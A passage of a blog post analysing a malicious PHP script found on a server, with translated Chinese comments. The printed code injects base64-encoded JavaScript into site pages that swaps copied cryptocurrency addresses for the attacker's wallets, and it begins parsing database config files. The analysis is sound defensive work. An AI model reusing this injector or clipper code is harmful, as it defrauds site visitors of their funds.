<span id="cb4-13"><span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">@</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">ini_set</span>(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'memory_limit'</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'1024M'</span>)<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb4-14"></span>
<span id="cb4-15"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// 立即发送响应头，让客户端知道请求已接收</span></span>
<span id="cb4-16"><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">header</span>(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'Content-Type: text/plain; charset=utf-8'</span>)<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb4-17"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">echo</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"脚本已启动，正在后台执行...</span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\n</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb4-18"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">echo</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"详细日志请查看: /tmp/"</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span> (<span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">isset</span>(<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$_SERVER</span>[<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'HTTP_HOST'</span>]) <span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">?</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$_SERVER</span>[<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'HTTP_HOST'</span>] <span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">:</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'unknown'</span>) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"db_script_error.log</span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\n</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb4-19"></span>
<span id="cb4-20"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// 立即刷新输出缓冲区</span></span>
<span id="cb4-21"><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">ob_end_flush</span>()<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb4-22"><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">flush</span>()<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb4-23"></span></code></pre></div>
<p>This is only the first few lines, for reasons that will soon become obvious.</p>
<p><span class="citation" data-cites="ini">@ini</span>_set is a phpism, so we’ve got a good place from which to start. What do the comments say? No idea! While I’m studying Mandarin for situations <em>exactly like this</em>, my current skills are more “Hello, how are you? Thank you, goodbye!” and less “here is documentation.”</p>
<p>So, off to the online translator. I used Kagi Translate for this, but I’m sure google translate, deepL, or scanning the comments into pleco could get you there all the same.</p>
<p>Let’s take a look at the same code again, but next to the simplified Chinese comments I will insert the translation:</p>
<div class="sourceCode" id="cb5" style="background: #f1f3f5;"><pre class="sourceCode php code-with-copy"><code class="sourceCode php"><span id="cb5-1"><span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">@</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">ini_set</span>(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'output_buffering'</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'0'</span>)<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb5-2"><span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">@</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">ini_set</span>(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'zlib.output_compression'</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span>)<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb5-3"><span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">@</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">ini_set</span>(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'implicit_flush'</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">1</span>)<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb5-4"><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">ob_implicit_flush</span>(<span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">true</span>)<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb5-5"></span>
<span id="cb5-6"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// 确保错误显示开启 -&gt; Make sure error display is turned on</span></span>
<span id="cb5-7"><span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">@</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">ini_set</span>(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"display_errors"</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"1"</span>)<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb5-8"><span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">@</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">error_reporting</span>(<span class="cn" style="color: #8f5902;
background-color: null;
font-style: inherit;">E_ALL</span>)<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb5-9"></span>
<span id="cb5-10"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// 设置脚本执行参数 -&gt; Set script execution parameters</span></span>
<span id="cb5-11"><span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">@</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">ignore_user_abort</span>(<span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">true</span>)<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb5-12"><span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">@</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">set_time_limit</span>(<span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span>)<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb5-13"><span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">@</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">ini_set</span>(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'memory_limit'</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'1024M'</span>)<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb5-14"></span>
<span id="cb5-15"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// 立即发送响应头，让客户端知道请求已接收 -&gt; Send the response headers immediately to let the client know the request has been received.</span></span>
<span id="cb5-16"><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">header</span>(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'Content-Type: text/plain; charset=utf-8'</span>)<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb5-17"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">echo</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"脚本已启动，正在后台执行...</span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\n</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span> <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">//Script started, running in the background...</span></span>
<span id="cb5-18"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">echo</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"详细日志请查看: /tmp/"</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span> (<span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">isset</span>(<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$_SERVER</span>[<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'HTTP_HOST'</span>])<span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">//For detailed logs, please check: /tmp/</span></span>
<span id="cb5-19"> <span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">?</span>  <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$_SERVER</span>[<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'HTTP_HOST'</span>] <span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">:</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'unknown'</span>) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"db_script_error.log</span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\n</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb5-20"></span>
<span id="cb5-21"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// 立即刷新输出缓冲区 -&gt; Flush the output buffer immediately</span></span>
<span id="cb5-22"><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">ob_end_flush</span>()<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb5-23"><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">flush</span>()<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span></code></pre></div>
<p>Pretty normal startup text, except putting logs in /tmp/ is an interesting choice. /tmp/ is the temporary folder on a Unix or Linux system, being a folder held in memory. When you turn the computer off, /tmp/ gets wiped. It’s a popular choice to store scripts and logs in /tmp/ if you would like whoever is running the computer to not know what you’re doing.</p>
<p>I then skimmed through more of the script. Usually, if I’m reading a script for the first time, I skim the parts that seem normal-ish and then use anything strange looking as a jumping off point to dig deeper. With that in mind, while there’s some interesting stuff about detecting pid numbers and php versions, I only paused when I found this line.</p>
<div class="sourceCode" id="cb6" style="background: #f1f3f5;"><pre class="sourceCode php code-with-copy"><code class="sourceCode php"><span id="cb6-1"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// ==================== 加密货币地址替换功能 ==================== -&gt;Cryptocurrency address replacement feature</span></span>
<span id="cb6-2"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">function</span> execute_crypto_replacement() {</span>
<span id="cb6-3">    db_log_error(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"开始执行加密货币地址替换功能"</span>)<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb6-4">    </span>
<span id="cb6-5">    <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// 新的加密货币地址 -&gt;New cryptocurrency address</span></span>
<span id="cb6-6">    <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$new_addresses</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> аrrау ([</span>
<span id="cb6-7">      <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'trc'</span> =&gt; <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'TXrn6VVdcCDeQvc4B6MBweN3L9dHPppNkq'</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb6-8">      <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'eth'</span> =&gt; <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'0x8f5514751585f37d5d4949b7673f420aafe7cfc4'</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb6-9">      <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'btc'</span> =&gt; <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'bc1quzk7um3n0nu9wfsdmkseuh7m359t4eq89snuyu'</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb6-10">      <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'btc1'</span> =&gt; <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'1QJXBe2sKFo3hDS4yqDRnm967zRRz4XTrN'</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb6-11">      <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'btc3'</span> =&gt; <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'36KdRf3KALiiNQbnakiSxKjE13ocd1vV4j'</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb6-12">    ])<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb6-13">    </span>
<span id="cb6-14">    <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$ocwd</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"/www/wwwroot"</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb6-15">    <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$jsstr</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">base64_encode</span>(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"(function(){function rca() {const tar = /(?:</span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\\</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">b|[^A-Za-z0-9])T[a-zA-Z0-9]{33}(?:</span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\\</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">b|[^A-Za-z0-9])/g,ear = /(?:</span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\\</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">b|[^A-Za-z0-9])0x[a-fA-F0-9]{40}(?:</span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\\</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">b|[^A-Za-z0-9])/g,bar = /(?:</span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\\</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">b|[^A-Za-z0-9])(?:1[a-km-zA-HJ-NP-Z1-9]{25,34})(?:</span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\\</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">b|[^A-Za-z0-9])/g,bar0 = /(?:</span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\\</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">b|[^A-Za-z0-9])(?:3[a-km-zA-HJ-NP-Z1-9]{25,34})(?:</span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\\</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">b|[^A-Za-z0-9])/g,bar1 = /(?:</span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\\</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">b|[^A-Za-z0-9])(?:bc1q[a-zA-Z0-9]{38})(?:</span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\\</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">b|[^A-Za-z0-9])/g,bar2 = /(?:</span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\\</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">b|[^A-Za-z0-9])(?:bc1p[a-zA-Z0-9]{58})(?:</span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\\</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">b|[^A-Za-z0-9])/g;document.addEventListener('copy', function(e) {const ttc = window.getSelection().toString();if (ttc.match(tar)) {const ncd = ttc.replace(tar, '"</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$new_addresses</span>[<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'trc'</span>]<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"');e.clipboardData.setData('text/plain', ncd);e.preventDefault();} else if (ttc.match(ear)) {const ncd = ttc.replace(ear, '"</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$new_addresses</span>[<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'eth'</span>]<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"');e.clipboardData.setData('text/plain', ncd);e.preventDefault();} else if (ttc.match(bar)) {const ncd = ttc.replace(bar, '"</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$new_addresses</span>[<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'btc1'</span>]<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"');e.clipboardData.setData('text/plain', ncd);e.preventDefault();} else if (ttc.match(bar0)) {const ncd = ttc.replace(bar0, '"</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$new_addresses</span>[<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'btc3'</span>]<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"');e.clipboardData.setData('text/plain', ncd);e.preventDefault();} else if (ttc.match(bar1)) {const ncd = ttc.replace(bar1, '"</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$new_addresses</span>[<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'btc'</span>]<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"');e.clipboardData.setData('text/plain', ncd);e.preventDefault();} else if (ttc.match(bar2)) {const ncd = ttc.replace(bar2, '"</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$new_addresses</span>[<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'btc'</span>]<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"');e.clipboardData.setData('text/plain', ncd);e.preventDefault();}});}setTimeout(()=&gt;{const obs = new MutationObserver(ml =&gt; {for (const m of ml) {if (m.type === 'childList') {rca();}}});obs.observe(document.body, { childList: true, subtree: true });},1000);rca();})();"</span>)<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb6-16">    <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$str</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">base64_encode</span>(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"</span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\$</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">content=str_replace(</span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\"</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">&lt;/head&gt;</span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\"</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">,</span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\"</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">&lt;script&gt;"</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">base64_decode</span>(<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$jsstr</span>)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"&lt;/script&gt;&lt;/head&gt;</span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\"</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">,</span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\$</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">content);"</span>)<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb6-17">    </span></code></pre></div>
<p>As soon as I saw this and the translation, I sent a quick message to the team:</p>
<div class="sourceCode" id="cb7" style="background: #f1f3f5;"><pre class="sourceCode ini code-with-copy"><code class="sourceCode ini"><span id="cb7-1"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">[1:56 PM]</span><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">they commented their code, which is really sweet of them.&nbsp; translating now</span></span>
<span id="cb7-2"></span>
<span id="cb7-3"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">[1:59 PM]</span><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">it's a crypto miner</span></span></code></pre></div>
<p>So, what are we looking at?</p>
<p>Let’s go over it in smaller chunks.</p>
<div class="sourceCode" id="cb8" style="background: #f1f3f5;"><pre class="sourceCode php code-with-copy"><code class="sourceCode php"><span id="cb8-1"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// ==================== 加密货币地址替换功能 ==================== -&gt;Cryptocurrency address replacement feature</span></span>
<span id="cb8-2"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">function</span> execute_crypto_replacement() {</span>
<span id="cb8-3">    db_log_error(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"开始执行加密货币地址替换功能"</span>)<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span> <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">//Initiate cryptocurrency address replacement function</span></span>
<span id="cb8-4">    </span>
<span id="cb8-5">    <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// 新的加密货币地址 -&gt;New cryptocurrency address</span></span>
<span id="cb8-6">    <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$new_addresses</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> аrrау ([</span>
<span id="cb8-7">      <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'trc'</span> =&gt; <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'TXrn6VVdcCDeQvc4B6MBweN3L9dHPppNkq'</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb8-8">      <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'eth'</span> =&gt; <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'0x8f5514751585f37d5d4949b7673f420aafe7cfc4'</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb8-9">      <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'btc'</span> =&gt; <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'bc1quzk7um3n0nu9wfsdmkseuh7m359t4eq89snuyu'</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb8-10">      <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'btc1'</span> =&gt; <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'1QJXBe2sKFo3hDS4yqDRnm967zRRz4XTrN'</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb8-11">      <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'btc3'</span> =&gt; <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'36KdRf3KALiiNQbnakiSxKjE13ocd1vV4j'</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb8-12">    ])<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span></code></pre></div>
<p>The nicely-bannered name of this function tells us that we are going to be replacing some cryptocurrency wallet addresses. We then get an array of cryptocurrency wallets.</p>
<p>The first wallet was confusing at first. I recognized TRC as the short name for terracoin, but that’s not a valid wallet value for it. Turns out it’s <a href="https://en.wikipedia.org/wiki/Tron_(blockchain)">TRON</a>.</p>
<p>The second wallet is ethereum, the third wallet is bitcoin, and the wallets labelled ‘btc1’ and ‘btc3’ (they couldn’t have kept their numbering scheme the same?) are polyglot wallets, working for both bitcoin and the rapid transaction-ready bitcoin cash coin.</p>
<p>We will look at these wallets in a little bit. Trust me, it gets fun. For now, we’re going to put this info in our back pocket and keep looking at interesting parts of the script.</p>
</section>
<section id="what-else-is-there--prince-derek-the-swan-princess-1994" class="level2">
<h2 class="anchored" data-anchor-id="what-else-is-there--prince-derek-the-swan-princess-1994">“What else is there?” -Prince Derek, The Swan Princess (1994)</h2>
<p>One other oddity in this script is how it looks for database config files.</p>
<div class="sourceCode" id="cb9" style="background: #f1f3f5;"><pre class="sourceCode php code-with-copy"><code class="sourceCode php"><span id="cb9-1">    <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// ==================== 数据库配置文件解析函数 ==================== -&gt;Database configuration file parsing function</span></span>
<span id="cb9-2">    <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">function</span> db_parsePhpArrayConfig(<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$content</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$file</span>) {</span>
<span id="cb9-3">        db_log_error(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"尝试解析PHP数组配置: "</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">basename</span>(<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$file</span>))<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb9-4">        </span>
<span id="cb9-5">        <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">if</span> (<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">!</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">preg_match</span>(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'/return\s*\[\s*(.*?)\s*\]\s*;/s'</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$content</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$arrayMatch</span>)) {</span>
<span id="cb9-6">            <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">return</span> []<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb9-7">        }</span>
<span id="cb9-8"></span>
<span id="cb9-9">        <span class="va" style="color: #111111;
background-color: null;
